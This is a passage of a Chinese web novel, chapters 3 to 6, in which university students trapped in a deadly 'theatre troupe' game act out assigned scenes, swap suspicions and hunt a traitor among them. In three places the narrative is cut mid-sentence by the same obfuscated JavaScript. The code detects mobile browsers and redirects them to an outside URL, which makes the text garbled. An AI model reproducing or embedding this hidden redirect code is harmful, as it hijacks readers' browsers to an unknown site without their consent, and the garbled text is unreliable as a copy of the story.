他笑了笑,又说:“虽然很想跟各位摆个学长的架子,但可惜,我不是冀湖大学医学系毕业的,当年没考上。” “诶,那应先生就是警察了?”苏彦问道。 应如观回答:“我算在警察系统内。不过,一般也很少人会称呼我叫警察。” 他和气地说:“也不用叫我先生,叫我名字就好了。我也不比你们长一辈。” 话是这么说,但直接叫名字也挺奇怪的。这时姜满也笑着说:“是呢,大家也不用太拘谨,叫我名字就成,觉得不太适应叫声姜姐也没问题。” 苏彦应了句:“好啊,那我就叫姜姐了。”曲语冰也笑嘻嘻地喊了声“姜姐”,气氛总算缓和一些。 场间安静片刻,姜满一双美目瞄向应如观,说:“那就只有你一个不是冀湖市的了。” 舒觉看向应如观。他看上去仍然镇定,并不因姜满的话动容。即使她是在隐晦地将他分割成另一个类别——也许就是不可信任的类别。 或许是她想多,但会这么想的一定不会只有她一个。 现在,“编剧”的存在,必定会成为横亘在每个人之间的一根硬刺,难以拔除。 “姜小姐在冀湖市工作么?”应如观回问她。 姜满笑笑,交叠的双腿放下,“是。不是什么大企业,说了大家应该也不知道。” 一时间没人再讲话。最后是姜满先伸了个懒腰,站起来。“待在这里也没别的用,我就先上去睡了。上了一天班,还被抓到这种地方来,真是累死了。” 她一边说,一边摇着头,踩着高跟鞋上楼去了。余下众人也纷纷散开,大部分都上楼去了,还有几个打算在客厅里探索一下,还有钻进厨房打算吃夜宵的。 舒觉暂时留着没动。她身边的人都走开了:苏彦和曲语冰摸去厨房找夜宵了。她倒是不饿,但也不怎么想就这样上楼睡了。 她总感到一些……反常?那不出于逻辑,只是某种直觉,但她的确心存疑虑。然而说不出奇怪的点在哪里。 有什么是被他们忽略掉的吗?舒觉爬梳一遍记忆,并未找到疑点。也许她应该再多想想。或者明天和别人商量一下。 她兀自沉思着,面前忽然放下一杯冒着热气的东西。女孩转头,祝时明正微微弯腰,温和地望着她。 他说:“我在厨房找到了这个,也许……” 舒觉看向杯子里,深色液体中间沉浮几粒姜色,嗅觉告诉她,这是红糖姜茶。 她不由对他笑了下,“谢谢。我喜欢这个。” 他点点头,腿一迈,跨过她脚边坐过来。舒觉倒没有什么不舒服的感觉,他并不给她威胁感。 舒觉注视着他嘴唇。缓慢地,它动起来:“你感觉……怎么样?” 他想要听到怎样的回答?我想要给出怎样的回答? 她说:“还好。” 舒觉不清楚这是否让他满意了。他安静地凝视着她,姿态仿佛没有任何渴求。 她心中某个角落微微一动。舒觉说:“我真的还好。至少,我以为你会比我尴尬。” 她说的是刚刚演戏的桥段。祝时明仿佛现在才想起来似的,他不好意思地摸摸后脑头发,那里有一片翘了起来。“那……毕竟我们不得不这么做。” 他有这个认识,倒省去了她一个不走心的道歉。舒觉撇开视线,低头喝了一口红糖姜茶。一股暖流熨帖食道和胃,她满足地呼出一口气。 祝时明仍然没有离开。奇异的是,她不反感他一直坐在她身旁。也许他就是这样一个让人容易放下戒备的角色。 把杯中液体饮尽,舒觉站起来。“我去睡了。”她眼角一瞥,“这么晚还喝咖啡?你不会睡不着?” 祝时明愣了一下,然后才端详他被子里漆黑的浓稠液体。他喃喃说:“哦,待会儿要睡了。” 舒觉摇摇头,转身上楼了。 ***** 三号房间内。 舒觉叫道:“剧团长,我要许愿。” 她坐在桌子前,十指相扣,撑住下巴。虚空中想必传来了她熟悉到乃至憎恨的声音,她面前浮现字幕。 您有什么愿望? “我要一个语音文字转录器。就装在我手环上。你肯定能弄出这种东西吧。” 字幕没有继续滚动。舒觉只是等待,直到出现新的文字。 愿望受理。【IV型语音实时转录器】,作用:将外界人声自动转录为文字,并呈现在使用者手环光幕中,可设置“自动弹出”或“由我选择”两种模式。限制:可能识别出其他类型的声音;低于30分贝的声音无法精确转录成文字;在使用者手动进行声纹认证之前无法识别说话者。 一个小巧的零件出现在桌子上。舒觉摁了几下手环,光滑的表面弹开,露出一个凹槽。她将那个零件装了进去。 她关上灯,钻进被子里。脑海中,每一个人的面庞与词句逐一浮现,完整而清晰,正如这么多年她经过的日子。 那么,这一场游戏,就算开始了。 4. 第 4 章 今天,我开始写这本日记。 说实话,除了小学时老师布置的作业,我从来没写过日记这种东西。我没有用纸笔记录的习惯。虽说很喜欢拍照片…… 不对,跑题了。我之所以写这本日记,不是希望有人可以看到——我并不认为他会让任何人看到,毕竟,这里面可能会直接告诉看到的人所有事情。那他就没法进行那轮游戏了。 总之,我写这些东西,是因为我想要记录一些事情。一些我不想忘记的事情。我没有J的能力,只能靠这种原始的办法来提醒自己,有这些事发生过。 不知道现在外面是几号。我也不太记得结束后我在这里呆了多久,就把今天当做第一天吧。有点仪式感。 不知道他们回去之后怎么样了。下次他来找我的时候,要不问一下能不能看到那边……不过,感觉应该不太可能。 但不看的话,我不知道他是不是在骗我。 他说,他已经让所有人都忘了我。 这真有可能做得到吗? ***** 舒觉洗漱后走出门,锁好再下楼。她换了一套新的夏装,宽松的T恤和长裤,脖子上换了一条丝绒颈带。 她来到客厅,发现开放式厨房边的餐厅只坐了一个人。曲语冰捧着一碗白粥,喝得很是满足。 他面前小碟上放着半个咸鸭蛋和榨菜丝,酱油的深色泛着油光,分外诱人。舒觉走过去,脚底芯片只感受到了自己步伐的震动,厕所的门也开着,一楼应该没有其他人了。 曲语冰一抬头,瞧见是她,便扬起张笑脸。“早啊。” “你都起了,应该不早了。”舒觉回道。她走到厨房,那里放着一只高压锅,她往里一看,还剩了不少白粥。旁边是一盒打开的生鸡蛋,曲语冰那个咸鸭蛋大概是许愿兑换来的。 不过反正最初的几天是新手保护期,所有日常用品都是免费的,他想吃满汉全席都没问题。舒觉打开底下一个柜子,里面放着一包开了封的口罩。 她看了曲语冰一眼。对方点点头,证实她的猜测。舒觉于是炒了盘鸡蛋,心安理得地舀了碗粥坐回餐桌开吃。 “这么说来,你今天起得还挺晚。”曲语冰重新提起这个话题。他放下筷子,碟子里的小菜吃得很干净。 舒觉动着勺子,把食物咽下去再回答:“昨晚熬夜了。” 曲语冰等着她后文。然而舒觉不再说话,只是享受自己的早餐,他只好靠到椅子上,等待的同时权当消食。 在舒觉舀了第二碗回来时,脚底芯片接收到楼梯上的震动。舒觉面色不变,继续埋首喝粥,而对着楼梯的曲语冰抬起头,露出个笑,懒洋洋招手,“呀,小明。” 舒觉面前弹出一个光幕,上面写着祝时明抱怨的话语:别叫我小明好吗……难道你喜欢别人叫你夏虫? 她忍住唇边一抹笑意。曲语冰挑挑眉,回他:“还真没人叫我这个。小明真有文化啊——” 祝时明走到他俩身边,听到这句话,他摇摇头,似乎是懒得再做争辩了。注意到两人的早餐,他本已向厨房抬起脚步,又生生顿住了,他问:“这个,我能吃吗?” 舒觉开口回答了他:“反正吃不完也是浪费。我已经够了。” 对于才认识第二天的人,这话说得不算很客气,不过祝时明毫无介怀的样子,他点点头,过去舀粥了。 不过,现在说什么都太早。他等着舒觉擦干净嘴,提议道:“要不我们一起出去外面逛逛?” 舒觉愣了一下,才反应过来得把祝时明也拉一起,否则太奇怪了。她说:“行啊。祝时明,你怎么说?” 把他的全名叫出来,总感觉舌头有些怪异,好像不太愿意发出这么完整的词语。舒觉压下这种感觉,她可不想和曲语冰一样叫别人“小明”。 对方显出些讶异,好像他没想过他们俩会带上他。他似乎把他们划分到同一阵营里,而他是河对面的另一个人。 不过那种神色也只是一瞬。祝时明答:“行啊。”接着他视线一扫曲语冰,表情变得微妙,想的是什么谁都能看出来。 “等会,你这样想我就太过分了吧。”曲语冰何等人精,立刻抓住这一点,“我也不至于认识第二天就对女孩子下手啊?” “我可没这么说。”他答。祝时明快速扫荡完剩下的粥,他的佐料只有酱油,不知是口味清淡还是懒得下厨。 看所有人都吃完了,祝时明便把三人的碗都收起来,放进了洗碗机,举止之自然,另外两人都没能反应过来。 还是走出宿舍后舒觉才猛然察觉,她问:“你在家里经常帮忙收拾碗筷吗?” 祝时明点点头。“我最小,所以这个活儿一般我来做。” “嗯。你有兄弟姐妹?” “我有一个哥哥和一个姐姐。” “真好啊。”曲语冰插进话来,“独生子女不懂的美好。” “也只有独生子女才会羡慕别人有哥哥姐姐。”祝时明语气有些抱怨,“每次我都要劝别人三思。基本上我只有被欺负的份儿。” 他看向舒觉,眼里带着点期待,“是吧。你也有兄弟姐妹,肯定能懂我在说什么。” 舒觉首先想的是:他什么时候知道的我有兄弟姐妹?随后她恍然。大概是刚刚她没附和曲语冰,于是祝时明便理所当然认为他们在同一边。 恰好这时曲语冰也问她:“诶,你有哥哥姐姐吗?” 舒觉微微一笑,回答:“我有不少兄弟姐妹。” 这并不是谎言。只是定义上的不同。她和曲语冰都很擅长玩这种文字游戏,因此曲语冰对这个回答也只是“我看破但不说破”的神情。 反而是祝时明露出一点吃惊的表情。但他没有问下去,保持着边界。 几个人随便聊了几句,前方出现一个小型公园。绿树成荫,灌木都被修剪成各种形状,微风拂过,清浅的香气送入鼻腔。这是一个难得清爽的夏日。 如果是在外面,她现在还在放假,应该会出门去街道上随便转转吧。毫无目的地,像一滴水那样汇入人群,仿佛她从一开始就是这座城市的一份子。 这是她想要的,也是他们想要她成为的。 就在几人暂时陷入各自思绪,享受公园内的静谧时,一声巨大的喷嚏声炸开了——曲语冰用袖口捂住鼻子,狠狠吸了两下,从口袋里掏出口罩戴上。 他自发解释:“我花粉过敏。” “走旁边小路吧。那边没花。”祝时明指指一条石板径。 三个人依此走上去,宽度有限,他们不能再像之前那样并排走,舒觉便走到了两个人前面,留给男生们勾肩搭背的空间。 虽说祝时明并不是那么热情的性子,但架不住曲语冰自来熟得相当吓人。舒觉不用回头都知道他必定在动手动脚,因为她面前弹出的光幕已经开始转播—— 曲语冰:嗨小明,你对舒觉有意思对吧? 祝时明:什、等、哈?你—— 曲语冰:别见外嘛,我会帮你的。她应该很难追,但现在你没什么竞争对手,我觉得你很有希望!你看,大家朝夕相处,共处一室,想要发生点什么当然……对吧? 祝时明的名字后出现一长串代表沉默的省略号。接着光幕显示:你为什么会这么说? 曲语冰:嗯? 祝时明:说我喜欢她。 曲语冰:你昨天脸红得超明显,你真不知道吗? 祝时明又沉默了很长一串。随后他说:你被靠得那么近试试。我看你脸红不脸红。 祝时明:算了,别说这些傻话了。你再讲下去,我觉得舒觉不一定听不到。 曲语冰:嗨,她肯定听不到,放心啦—— “你俩背着我嘀嘀咕咕什么呢?”舒觉猝然转身,唇角盈起,看向他们。两个男生都显然被吓了一跳,至少祝时明可疑地耳朵红了。 曲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467484|185517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语冰则举起双手,故作无辜地说:“什么?我们没讲什么啊,在问他医学生的悲惨历史呢,对吧小明?” “啊,嗯。”祝时明慢半拍回应。显而易见不是这么一回事。但舒觉耸耸肩,没有揭穿。 绕出这座公园,密匝匝的林子退去,眼前骤然开朗,是一条商业街。两侧店铺琳琅,接近正午时分,基本都大门敞着,一丝丝冷气顺着小腿爬上来。 “我想吃个雪糕。你们要吗?”曲语冰手指一辆小推车。其余两人都没有意见,虽说清风徐徐,但温度也不算低,走了这么久,他们都有些燥了。 舒觉用手在脖子边扇扇风,目送着曲语冰走远:他极有自信地担保可以两手拿三个蛋筒,于是就独自前去了。 一旁,祝时明忽然说:“你戴着颈带啊。”紧接着他露出点惊愕。仿佛这句话是脱口而出,并不受他控制。 “是啊。”舒觉随口答道。祝时明点点头,似乎有点紧张。也许是单独和她相处,不知道该说什么。 不得不承认,曲语冰是个强力的气氛调节剂,有他在的地方,场面基本不可能尴尬。 就在她考虑是否需要说点什么时,对方忽然轻声说:“邱容很早就去世了。” 舒觉飞快瞟了他一眼,又垂下眼睫,声音淡淡:“什么?” “昨天被处刑的那个人,早就去世了。”祝时明嘴唇慢慢动着,舒觉注意着他的口型,“毕竟她很出名,粉丝专门给她办了个追悼会。我在进来之前有在网上刷到。” “也许只是失踪时间过长,被默认为过世了。” “不是。警方发现了她的尸体,才确认的死亡。”祝时明双手插在口袋里,他还是穿着昨晚那件灰色针织衫,绒边滚着一圈灿白的光。 “所以,昨晚的处刑只是一场表演。”舒觉说。她作出思考的神态,祝时明观察着她,斟酌词句:“至少我认为,已经死了的人应该没法再死一遍。” “不过她进过这个剧团应该是真的。”毕竟穷奇没必要撒谎骗他们。演员们的命都掌控在剧团手上,深网剧场也早已作出必定诚实的承诺。 祝时明点点头,“大概是因为她够出名,你们都还能记得她,所以把她选出来杀鸡儆猴。” “可能性很大。”舒觉赞同了他的看法。 随后她又沉思起来。那么,出现在这里的“邱容”又是谁呢?或者说,她是什么东西?只是VR技术的呈现?也许是这样。现阶段虚拟现实技术足以达成这种效果。 她兀自思考着,直到面前弹出一个光幕:我回来了—— 只见曲语冰缓步走来,一只手是绿色蛋筒,另一只手里夹了一个白的和一个粉的。甚至都没问要怎么分配,他径直把白的递给舒觉,粉的递给祝时明,自己咬了一口绿的。 舒觉舔了一口,是原味奶油。祝时明有点无奈地说:“为什么是草莓……” 曲语冰满足地咽下一口雪糕,答道:“因为我觉得你会喜欢这个口味!怎么样,试一口?” 祝时明慢慢舔了一口。很快,他又咬下一块。曲语冰得意地笑起来。舒觉摇摇头,随他们去了。 “你那个是什么味?”她问曲语冰。 “开心果。你要试一下吗?”说着,对方直接把蛋筒递过来。 舒觉眉毛飞快皱了一下,头稍往后仰,“不了。我不喜欢开心果。” “唾液交换会增大疾病传播的风险。我劝你别和别人分享雪糕。”祝时明一边吃自己的冰淇淋,一边凉凉来了句。 “不愧是医学生,意识真强啊——”曲语冰毫不在意,就在他要继续不着调时,轻微“嘀”的一声响起,在他们中间交叠。 舒觉立刻抬起手环。光幕弹出,上面写着: 【演绎开始。】 【剧目:这门亲事我不同意!】 【演员甲:苏帆屿】 【演员乙:乔木】 【演员丙:洛珠】 5. 第 5 章 嗒嗒。“云嵩市年度十大杰出医生名单”。 曲语冰的手指点在鼠标上。不是这个。 嗒嗒。“知名作家近日召开记者招待会”。 他皱起眉头。不是这个。 嗒嗒。嗒嗒。嗒嗒。 不是。不是。不是。 全都对不上。 曲语冰抓起水杯喝了一口营养剂。他登入某个网站,输入一串特殊代码。 一份名单在他面前屏幕展开。他快速进行筛选,滑到计算机系,调到他自己同年一级。从“A”开始,来到—— 他发现了他想找到的名字。没想到她还真没骗他们。 这算什么,聪明反被聪明误吗。曲语冰在心中自嘲一声,点开了那个名字。 跳出的窗口显示她的个人资料。曲语冰在手环上输入联系号码,空号。他倒没恼火,他自己在学籍资料上留的也是假号码。 但至少,这是个线索。他沉思着,缩小窗口,又查了一下,拨通一个号码。 “您好,是计算机系辅导员杜舟先生吗?我有一份资料需要舒觉同学签字,请问您有她的联系方式吗?” ***** 光幕展开,显出的布景是一处商业街——不是他们所处的这条。看起来是现代背景,这种剧目一般都比较安全。 “看起来是青春恋爱喜剧呢。”曲语冰评价,“毕竟选的三个都是大学生。” 随着他的声音,画面开始流动,演绎开始了。 【一家精品店内,身着白裙的女孩正在挑选商品】 洛珠看上去有些焦躁不安。尽管她努力将注意力集中在手头动作上,但左右飘忽的眼神和指向侧方的脚尖都显出她的心绪不宁。 她踮起脚尖,去够最上面的饰物。就在她拼命抻直指尖时,另一只手从后面伸来,帮她摘下了那个小玩意。 镜头随着洛珠转身而转向。她努力扬出笑容,但还是带着本色的怯生生和紧张,“陈子琛!” 靓丽的红发冲入视野。饰演“陈子琛”的乔木垂低视线,道:“嗯。” 接着他递出那个小饰品。“给。” 看到这里,曲语冰没忍住,哧的一声笑了出来。舒觉当然知道他在笑什么。这笑点全在乔木的动作上。 虽说是递东西——对方戏里的身份还是他的女朋友——但他只捏住了头部,露出极多下面的部分,明显就是不想有任何肢体接触。说夸张点,几乎像是在嫌弃要碰到别人。 “他是有洁癖吗?居然还戴了口罩。”曲语冰吐槽道,舒觉配合地应了一声:“感觉像。” 乔木几乎是把那个东西丢到了洛珠手心。随后他转身,“走吧。” 洛珠亦步亦趋跟上,两人来到人山人海的街中央,乔木勾了勾口罩上沿,调整到更合适的位置。 两个人虽然是情侣,但相隔距离更像是陌生人。即使是在演戏,他们也都完全没进入角色,只是原本人设就比较贴合本人,才没有显得太奇怪。 一路均是沉默不语。两人更像是匆匆赶路的背包客。就在看客感到无聊的时刻,第三个人终于出场。 “令令!”明快的声音冲破人潮,苏帆屿闪亮登场,一步跨入,正好挡在洛珠面前。 他笑容满面,看上去相当自然,“来这边玩怎么不和哥哥说?” “啊……哥哥!”洛珠愣了一下,赶快反应过来念台词。比起冷淡的乔木,她面对苏帆屿要更放松些,“你怎么在这里?” “嗯?我大学就在这边啊。你不记得了吗?没事,刚好碰上了,我们去吃个饭?”说着,苏帆屿动作流畅地握住洛珠手腕,要将她牵走。 “啊,哥哥,那个——”洛珠继续念着台词,脸上努力表现出被意外打乱计划的慌张。但更多的还是第一回被拉入演戏的不知所措。 一只手插入画面中间,虚浮在另两人交叠的手上。镜头上移,露出乔木那张面无表情的脸,“不好意思,你要把我女朋友带去哪里?” 苏帆屿迷惑地眨眨眼睛。他视线缓缓移动,定格在乔木脸上。“啥?” “呃,哥哥,这是我男朋友,陈子琛;阿琛,这是我哥哥,唐期。” 全场沉默三秒。而后乔木缓缓开口,口罩后的表情捉摸不透,“不用。我认识他。” 苏帆屿犹如五雷轰顶,整个人魂儿都给劈出去了,他颤抖地刺出一根手指,对准乔木。“你、你、你……” “我把你当兄弟,你小子却泡了我妹?” 他退后几步,捶胸顿足,原地大叫出声。 “不行!这门亲事我不同意!” ***** 演绎结束。曲语冰笑得很大声,舒觉关上转播,和乔木一般面瘫脸,“别笑了。” 转头一看,祝时明也在嘴角抽动。舒觉不管了,她等着他们笑完,开始在脑中回放影像,进行分析。 洛珠表现得相当正常。即使有她和祝时明作前科,普通人第一次被拉入演戏也大概率会无所适从,往往本色出演。洛珠就是很典型的例子:现实中碰到相同情况,她也大概会有类似反应。 相较之下,苏帆屿简直堪称影帝。动作、念白、神情均是生动自如,大概也有这个角色贴合性格的缘故,但本人适应能力良好也相当关键。反观另外两位,就做不到他这样自洽。 乔木……乔木就那样吧。他的洁癖有那么严重吗?那和这么多人住在一起,岂不是没两天就得崩溃了。 不过这也不归她管。舒觉说:“笑完了吗?” “笑完了、笑完了。”曲语冰应她,“没想到苏帆屿演技这么好,是吧?” 他倒是一语中的。祝时明答:“的确,不过他本来就是这种性格吧。要他是哥哥,估计也会是妹控。” “他不是吗?”曲语冰挑了下眉。 “不是。”祝时明顿了一下,补充一句,“我昨晚和他聊到了。他没有妹妹。” 插曲结束后,三人继续往前走。转过商业街,前面出现一座巨大的图书馆,造型恰如一本打开的书。书脊的位置是全透明的电梯,左右两馆都可以通行。 “宿舍楼、小公园、商业街、图书馆。”曲语冰掰着指头,自言自语,“你们不觉得这很像某个地方吗?” 舒觉有点困惑地看着他。祝时明点点头,说:“学校。” “没错!”曲语冰打了个响指,“虽然路线全部被简化了,但配置和某个大学几乎一模一样,除了少掉几栋行政楼和教学楼。而且这个图书馆,你们真没觉得眼熟吗?明明我们是校友?” 这下,就是舒觉也知道他要说什么了。冀湖大学的图书馆正是这个造型,还拿过什么建筑设计奖,在冀湖市相当出名。她说:“和我们学校很像。” 忽略掉曲语冰意味深长的眼神,她继续往下说:“剧团把这里设计成这样。为什么?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467485|185517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这个问题,他们上一轮也讨论过,但没有得出什么结论。她看向祝时明,这个自称也是冀湖大学的人,想听听他的看法。 接收到两方目光,祝时明相当坦然地说:“我不知道。可能是剧团里有谁和冀湖大学有什么关系?” 也许是这样,但他们无从考证每个人自述经历的真假。曲语冰状似无意地说:“那按你这样讲,我们几个冀湖大学的岂不是都很可疑?” “我可没说是这样……要真是如此,那查出叛徒也太容易了吧。范围直接缩小快一半了。”祝时明对他没过脑子似的话有些无奈。 “确实。你要非得把自己列入嫌疑人,我不拦你,但别拖我们下水。”舒觉也顺着话题,以玩笑口吻讲着。 曲语冰立时投降。“以上均为本人胡说八道,不具备任何法律效力。” 说笑着,他们已经走到图书馆门前。双开门自动感应,将几人放入,他们的脚步声清脆闯入这方静所。 光幕上,祝时明说:里面和大学的倒是不太一样。 这点舒觉听别人提到过。她说:“自习区的位置变少了。” 片刻沉默。直到她面前光幕弹出祝时明的话语:是的。……你怎么知道的? 舒觉微微一愣。为什么会问这个问题? 但她还是编出个理由:“我去自习过嘛。期末周难找位置,特意记了一下。” 这样说总不会出错。她揣摩对方表情,一片黯影如云飘过,再仔细看却是灯光的错位,他一如往常。 祝时明也不再问其他问题,他说:“也是。” “我倒没看出有什么不同。”曲语冰打量着一楼的布局。 舒觉轻飘飘地说:“那是因为你不怎么去图书馆吧。” 曲语冰笑笑,没有否认。 几个人商量了一下,决定分别去不同楼层探索。祝时明走到电梯门口,却不知为何停滞不动。他注视着电梯按钮,似乎是在思考着什么。 “怎么了?”舒觉走近,看了一眼,并没有发现什么特别。她随意一摁按钮,数字屏上显示1楼,门开,她走进去。 祝时明眼睛圆睁,看上去相当不可思议,他看看舒觉,又看看电梯四壁,好像这其中有什么高深的关联。 幸好他这状态也没持续多久,很快祝时明就走进来,等着被一本书迷住的曲语冰。后者匆匆赶来,在看到站在其中的舒觉时,他眨了下眼睛,嘴角闪过一丝明悟的笑意。 舒觉并未错过这个表情。她在心中啧了一声,微妙地觉得自己被看轻了,但现在也不是计较这个的时候。 电梯来到标着“I—K类”的四楼,只有舒觉走出去。其余两人在下两层,看看有什么值得留意的东西。 在一排排小说中走着,她目光随意扫过书名,总感觉像是几十年前的东西。随手抽出一本,翻到编目页,出版年份显示是四十年前。 他们之前似乎并未探究过这个问题。舒觉扬声道:“后台。图书馆里的出版物最新到几年前?” 光幕:三号响应。图书馆内出版物最新为三十五年前出版。 “非出版物是否存在近五年的物品?” 存在。 那么,那个东西应该还在。正当舒觉考虑是否去查看一番时,手环上弹出消息提示。是曲语冰。 祝时明被拉走去演戏了。品茗室? 舒觉只回复了一个字:走。 6. 第 6 章 看着面前的招牌,曲语冰点开手环信息,确定自己没走错。他可不想费两番功夫。 这一整栋楼都是律所的办公场所。建筑是现代化的设计,招牌却是一块上好的木匾,上书“诚廉律所”龙飞凤舞四个大字。 他径直走进去,微笑着对前台说:“您好,我找安丽廉律师。” “找安律师需要预约。先生贵姓?”前台女孩打开一片光幕,准备查找。 “姓曲。” “什么事?” “冀湖大学,有舒觉女士的文件需要咨询。他们告诉我找安丽廉律师。没错吧?” 他注意到前台的动作一顿。接着,对方像什么都没发生过一样,拨出一个电话。 等待期间,曲语冰注意到一边墙上挂着的相片。两个女人手捧开业执照,就在这栋楼前合的影。 显然左边那个是安丽廉。女人面容具有明显的混血特征,斜眉飞挑入鬓,浅褐色发丝一根不乱,鼻梁高挺,浅色眼影和亮面口红,整个人看上去像把利落而美艳的刀,足以切断顾客的所有烦恼。 曲语冰知道她有多成功。外国知名学府法律系高材生,归国后年纪轻轻就拿下好几个高难案子,如今不到四十岁就开了自己的律所,发展得如火如荼,就算是在整个冀湖市里都能排得上号。怎么看都能称赞一声人生赢家。 这些都无所谓。重点是,舒觉为何要选择这样一间私人律所作为她的法务代理?他不觉得这两人有什么血缘关系。 安丽廉的专擅领域是妇女权益,她好几个知名案子都是这方面的。是看中了这点吗?但她才二十岁不到。有什么特殊原因需要进行对自己的权益维护? 曲语冰陷入思考。不多时,前台说:“安律师在四楼。第一个房间。” 曲语冰道谢后上楼。果然,舒觉和这个地方不是一般的雇佣关系。 他根本就没预约。 ***** 图书馆M层,挂着“品茗室”的牌子下,液晶屏显示着使用中。 舒觉说:“幕后,图书馆品茗室是否完全不可被任何人监视或监听?” 光幕:是的。不论是剧团方还是观众,都无法进行观察。 曲语冰接口:“幕后,演员‘舒觉’与演员‘曲语冰’位于的封闭式房间内是否完全保密,动作与声音均不可被记录和监察?” 光幕:是的。【图书馆品茗室】为完全私密空间,不可被任何仪器或活物观察。 确认完毕,两人才相对坐下。这是他们在上一轮发现的特殊规则:有一些空间可以屏蔽所有外界干扰和观察,演员自不必说,甚至不知是谁的“观众”也不能侵入。 他们中间是一方小几,其上茶盘茶具一应俱全,几枚精致小杯倒扣其上,一旁的小壶内正在烧水。两人之间,唯有水迈至沸腾的滋滋作响。 少顷,曲语冰取下小壶,姿势娴熟地冲洗茶杯,用镊子夹起一个个摆好。等全部过了一遍水,他才将一撮茶叶送至壶内,再度灌满水,等待煮沸。 尽管不是第一次看这般流程,但舒觉还是好奇对方是从哪里学到的。她问起过两次,但曲语冰都转开了话题,她只能将此归于他家教优异。 “虽然有点晚,恭喜你克服了幽闭恐惧。”用状似无意的语调,曲语冰以此为开头。 “早了。”舒觉直白地回答,“还没有完全搞定。” 他抬眼,知趣地没有追问,转而向另一个话题:“规则居然改了。原来根本没有告诉我们有背叛者。” “我们可能是特例,不过不能确定。”舒觉说,“我搜集了网络上能找到的所有的演绎片段,没有哪一个能看出穷奇有提示过演员中存在背叛者。更别提找出此人就能返回现实世界这条规则。” 曲语冰看她一眼,目光奇异。“所有的?” “我是专业的。”舒觉耸耸肩。 曲语冰选择相信她的能力。他继续讲出自己的观点:“既然这条都改了,大概率之后也会有规则变动。不过,昨晚我问了一下幕后,我们上一轮大部分规则都没改,至少是我记得比较重要的那些,都还能用。” 舒觉沉思了一下,问:“和计划相关的那几条?” “都没问题。” “那就还是按照原定走。我争取先把‘静默教堂’开了,然后有条件就开‘不眠夜’。” 曲语冰无需表示赞成。这些早就是他们在原来世界里讨论过无数遍、但从未留下任何记录的东西。 “说到规则,我感觉哪里有点不对。”舒觉忽然想起那种违和感,“你有觉得吗?” 他摇摇头。就在谈话间隙,茶好了,曲语冰拎起茶壶把手,向三只杯子里注入深色茶水。舒觉瞟了一眼,说:“就我们俩。” 曲语冰夹起第三只杯子,倒去滚茶。他提醒了一句:“小心烫。” 舒觉还在想着穷奇说过的话,越想越感到心中疑窦在放大。那些话和他们上一轮进来的时候不差分毫,这点她的记忆可以保证,但她的直觉在鸣着警报。 她让曲语冰注意听,将昨晚穷奇说的话一字不差地背诵出来。在对方的要求下又重复了两遍。然而背着背着她又觉得似乎没什么问题。 找出编剧,回到现实。上一轮他们也是这样做的,因而回到了自己原本的生活,难道不是吗? 然而曲语冰手指无意识地轻轻敲击茶盘,他说:“不知道哪里不对,但就是不对。” “和你之前说的那种感觉一样吗?” “不太一样。之前那种是……缺少了什么东西的感觉,现在这个,唔,更像有什么变化了?” 舒觉叹了口气。这么模糊的直觉没办法作为证据。但既然两人都有同感,那大概就不仅仅只是错觉了。 她将这点在心中记下。曲语冰笑道:“超忆症还真方便啊,学法和学医的都得羡慕死。有这样的天赋是种什么感觉?” 有这样的“天赋”是种什么感觉? “要记的记得住,想忘的忘不了。”舒觉说。 对面,曲语冰捏起杯沿,将茶水一饮而尽。而后,他吁出一口气,发问:“所以,明明没有任何提示说有这样的规则,你上一轮是怎么找到那个叛徒的?” 舒觉拿茶杯的手顿住了。“有提示。只是那个提示……你们不会懂。” 她握起茶杯,像是感知不到手指的灼烫,“至于找出他,那根本不难。那一轮的叛徒根本没想过要隐藏。” “毕竟也没说过有叛徒这回事。当时大家都觉得应该团结起来,一起想办法出去。”曲语冰说,“根本没有想到,我们中间还有个以我们为乐的……叛徒。” 舒觉双目微微阖上,仿佛在品味口中茶香。“所以这一轮,我们要面临的问题不只是找出那个幕后凶手,还要处理彼此间的猜忌,难度不知上升多少。更别提那些该死的剧本……” “没办法,船到桥头自然直吧。”曲语冰宽慰她,舒觉看他一眼,眸光如碎冰,幸而并非利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467486|185517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剑。 “对于其他演员,你是怎么想的?”舒觉问他。在他人眼中,曲语冰或许只是个因年轻而愚蠢的轻浮青年,但她清楚,他向来平静愉快的目光通透至极,直照旁人内心深深。 “有人在撒谎。” “我也觉得。” 曲语冰手指沾起残水,写下一个“姜”字。对面,舒觉默不作声地点点头。那点水渍很快挥发而去。 她说:“她不只是上班族。至少,她会用枪,还时常练习。” “有枪倒不是完全不合法,有持枪证和射击资格证就行。不过,在冀湖市比较少吧。”曲语冰立刻调动他的法律知识库,“我记得之前看到一个报告,两者都有且非军、警的人数还不到三百个。” 